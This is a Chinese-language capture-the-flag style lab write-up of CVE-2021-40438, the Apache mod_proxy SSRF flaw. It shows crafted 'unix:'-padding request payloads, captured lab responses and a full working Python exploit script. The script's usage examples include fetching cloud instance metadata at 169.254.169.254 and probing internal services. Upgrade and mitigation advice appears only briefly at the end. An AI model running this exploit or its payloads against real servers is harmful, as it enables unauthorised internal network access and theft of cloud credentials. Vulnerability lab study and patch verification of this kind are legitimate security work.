漏洞信息
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2021-40438 |
| 漏洞类型 | SSRF(服务器端请求伪造) |
| 影响组件 | Apache HTTP Server mod_proxy 模块 |
| 影响版本 | Apache HTTP Server 2.4.48 及之前版本 |
| 靶场版本 | Apache HTTP Server 2.4.43 (Unix) + Tomcat 8.5.19 |
| 靶机地址 | http://192.168.229.60:8080/ |
| Vulhub 路径 | /vulhub/vulhub/httpd/CVE-2021-40438/ |
漏洞原理
背景
Apache 的 mod_proxy 模块提供了反向代理功能。在本靶场中,Apache 被配置为前端代理服务器,将接收到的请求通过 AJP 协议转发给后端的 Tomcat 服务器:
┌──────────┐ HTTP ┌────────────────┐ AJP:8009 ┌──────────┐
│ 用户/ │ ─────────→ │ Apache:8080 │ ─────────────→ │ Tomcat │
│ 攻击者 │ │ mod_proxy_ajp │ │ 8.5.19 │
└──────────┘ └────────────────┘ └──────────┘
漏洞成因
Apache 的 mod_proxy 在处理 ProxyPass 或 RewriteRule 中配置的代理逻辑时,会解析请求 URI 路径。如果在路径中构造一个特殊的 unix: 前缀(用于指定 Unix Domain Socket),并且通过超长填充字符串 触发内部路径处理逻辑的缺陷,可以导致 mod_proxy 将代理转发的目标地址替换为攻击者控制的地址。
正常流程:
请求 / ─→ Apache 查 ProxyPass 配置 ─→ 转发到 ajp://tomcat:8009/
攻击流程:
请求 /?unix:AAAA...|http://evil.com/ ─→ 路径解析被篡改
─→ 转发到 http://evil.com/ (SSRF)
核心问题在于 mod_proxy 在处理路径时,从填充后的 unix: 路径中错误地解析出了目标主机,从而使得 | 后面的 URL 被用作代理目标。
攻击步骤
Step 1:确认靶机正在反向代理 Tomcat
访问正常路径,验证反向代理正常工作:
GET / HTTP/1.1
Host: 192.168.229.60:8080
HTTP/1.1 200
Server: Apache/2.4.43 (Unix)
Content-Type: text/html;charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/8.5.19</title>
</head>
可见返回的是 Tomcat 默认页面,证实 Apache 成功代理请求到后端 Tomcat。
Step 2:构造 SSRF 攻击请求
核心 Payload 格式:
GET /?unix:{填充字符重复N次}|{目标URL}/ HTTP/1.1
Host: 192.168.229.60:8080
-
unix:--- 触发 mod_proxy 的 Unix Domain Socket 路径解析 -
{填充字符}--- 填充数据(通常是A),用于溢出路径缓冲区 -
|--- 分隔符,后面跟随目标 URL -
{目标URL}--- 攻击者想要 SSRF 访问的地址
关键参数:
-
原 PoC 使用 24,576 个
A,但会触发 Apache 的 414 Request-URI Too Long(默认 LimitRequestLine=8190) -
实测 4,096 个
A即可触发漏洞,构造总请求行约 4,181 字节,在限制之内
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (4096个A) ...AAAAA|http://example.com/ HTTP/1.1
Host: 192.168.229.60:8080
Connection: close
Step 3:验证命令执行
发送攻击请求后,Apache 将请求转发到 http://example.com/ 而非后端 Tomcat:
HTTP/1.1 200 OK
Server: cloudflare
Content-Type: text/html
<!doctype html><html lang="en"><head><title>Example Domain</title>
响应来自 cloudflare,内容为 example.com 的页面,SSRF 成功!
攻击对比
| 请求 | 响应 Server | 响应内容 |
|---|---|---|
GET / (正常) |
Apache/2.4.43 (Unix) |
Tomcat 默认页面 |
GET /?unix:AAAA...|http://example.com/ |
cloudflare |
example.com 页面 |
Python 版完整利用脚本
#!/usr/bin/env python3
"""
CVE-2021-40438 - Apache mod_proxy SSRF Exploit
Target: Apache HTTP Server 2.4.48 and earlier with mod_proxy enabled
Author: Vulhub Lab
"""
import socket
import sys
import urllib.parse
def exploit(target_host, target_port, ssrf_url, padding_len=4096):
"""
Exploit CVE-2021-40438 to perform SSRF via Apache mod_proxy.
Args:
target_host: Apache server host (e.g., "192.168.229.60")
target_port: Apache server port (e.g., 8080)
ssrf_url: URL to request via SSRF (e.g., "http://example.com/")
padding_len: Length of 'A' padding (default 4096)
Returns:
Tuple of (response_headers, response_body)
"""
# Sanitize the ssrf_url - ensure it ends with /
if not ssrf_url.endswith('/'):
ssrf_url += '/'
# Build the malicious path
pads = "A" * padding_len
malicious_path = f"/?unix:{pads}|{ssrf_url}"
# Build raw HTTP request
request = (
f"GET {malicious_path} HTTP/1.1\r\n"
f"Host: {target_host}:{target_port}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
print(f"[*] Target: {target_host}:{target_port}")
print(f"[*] SSRF URL: {ssrf_url}")
print(f"[*] Padding: {padding_len} bytes")
print(f"[*] Path len: {len(malicious_path)} bytes")
print(f"[*] Total req: {len(request)} bytes")
print()
# Connect and send
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((target_host, target_port))
s.send(request.encode())
# Receive response
resp = b""
while True:
try:
d = s.recv(4096)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
except Exception as e:
print(f"[-] Connection error: {e}")
return None, None
# Split headers and body
header_end = resp.find(b"\r\n\r\n")
if header_end == -1:
headers = resp.decode(errors="replace")
body = ""
else:
headers = resp[:header_end].decode(errors="replace")
body = resp[header_end+4:].decode(errors="replace")
return headers, body
def scan_padding_length(target_host, target_port, ssrf_url):
"""
Find the minimum padding length that triggers SSRF.
"""
print("[*] Scanning for minimum padding length...")
for length in range(100, 5000, 100):
req_len = len(f"GET /?unix:{'A'*length}|{ssrf_url} HTTP/1.1\r\n")
if req_len > 8190:
print(f"[-] Request too long ({req_len} bytes) at padding={length}")
break
headers, body = exploit(target_host, target_port, ssrf_url, length)
if headers and "200" in headers.split('\r\n')[0]:
print(f"[+] SSRF triggered at padding={length} (req_len={req_len})")
return length
print("[-] Could not find working padding length")
return None
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage:")
print(" python3 cve-2021-40438.py <target> <port> <ssrf_url>")
print(" python3 cve-2021-40438.py <target> <port> --scan")
print()
print("Examples:")
print(" python3 cve-2021-40438.py 192.168.229.60 8080 http://example.com/")
print(" python3 cve-2021-40438.py 192.168.229.60 8080 http://169.254.169.254/latest/meta-data/")
print(" python3 cve-2021-40438.py 192.168.229.60 8080 --scan")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
if len(sys.argv) >= 4 and sys.argv[3] == "--scan":
scan_padding_length(target, port, "http://example.com/")
elif len(sys.argv) >= 4:
ssrf_url = sys.argv[3]
headers, body = exploit(target, port, ssrf_url)
if headers:
print("=== Response Headers ===")
print(headers)
print()
print("=== Response Body (first 800 chars) ===")
print(body[:800])
else:
print("[-] Exploit failed")
else:
print("[-] Please provide a SSRF URL")
sys.exit(1)
使用示例
# 基本 SSRF 测试
python3 cve-2021-40438.py 192.168.229.60 8080 http://example.com/
# 扫描最小填充长度
python3 cve-2021-40438.py 192.168.229.60 8080 --scan
# 内网探测(如果存在)
python3 cve-2021-40438.py 192.168.229.60 8080 http://internal-service.local/
关键要点总结
| ✅/⚠️ | 要点 |
|---|---|
| ✅ | CVE-2021-40438 是 Apache mod_proxy 模块的 SSRF 漏洞,影响 ≤ 2.4.48 版本 |
| ✅ | 通过构造 unix:填充|目标URL 格式的请求路径,可篡改代理转发目标 |
| ✅ | 默认 LimitRequestLine=8190 限制了请求行长度,原 24,576 填充会触发 414 错误 |
| ✅ | 实测 4,096 个 A 即可成功触发,无需使用更大的填充 |
| ✅ | SSRF 成功后响应直接透传返回,可获取目标 URL 的完整响应内容 |
| ⚠️ | 此漏洞不直接导致 RCE,而是 SSRF,可用于内网探测、云元数据窃取等 |
| ⚠️ | 修复方案:升级 Apache HTTP Server 到 2.4.49 或更高版本 |
| ⚠️ | 临时缓解:禁用 mod_proxy,或限制 ProxyRequests 仅允许访问受信后端 |
| ⚠️ | 云环境中的利用价值更高:可访问 169.254.169.254 获取实例元数据 |